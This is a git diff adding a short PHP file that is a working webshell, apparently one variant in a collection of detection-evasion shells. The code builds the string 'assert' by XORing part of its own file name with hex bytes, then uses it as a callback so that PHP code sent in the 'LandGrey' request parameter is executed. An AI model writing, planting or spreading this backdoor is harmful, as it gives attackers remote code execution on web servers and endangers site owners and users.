diff --git a/php/array_intersect_uassoc-filename-last-char-must-be-s.php b/php/array_intersect_uassoc-filename-last-char-must-be-s.php
new file mode 100644
index 0000000..aa2b8e1
--- /dev/null
+++ b/php/array_intersect_uassoc-filename-last-char-must-be-s.php
@@ -0,0 +1,6 @@
+<?php
+$password = "LandGrey";
+${"LandGrey"} = substr(__FILE__,-5,-4) . "class";
+$f = $LandGrey ^ hex2bin("12101f040107");
+array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
+?>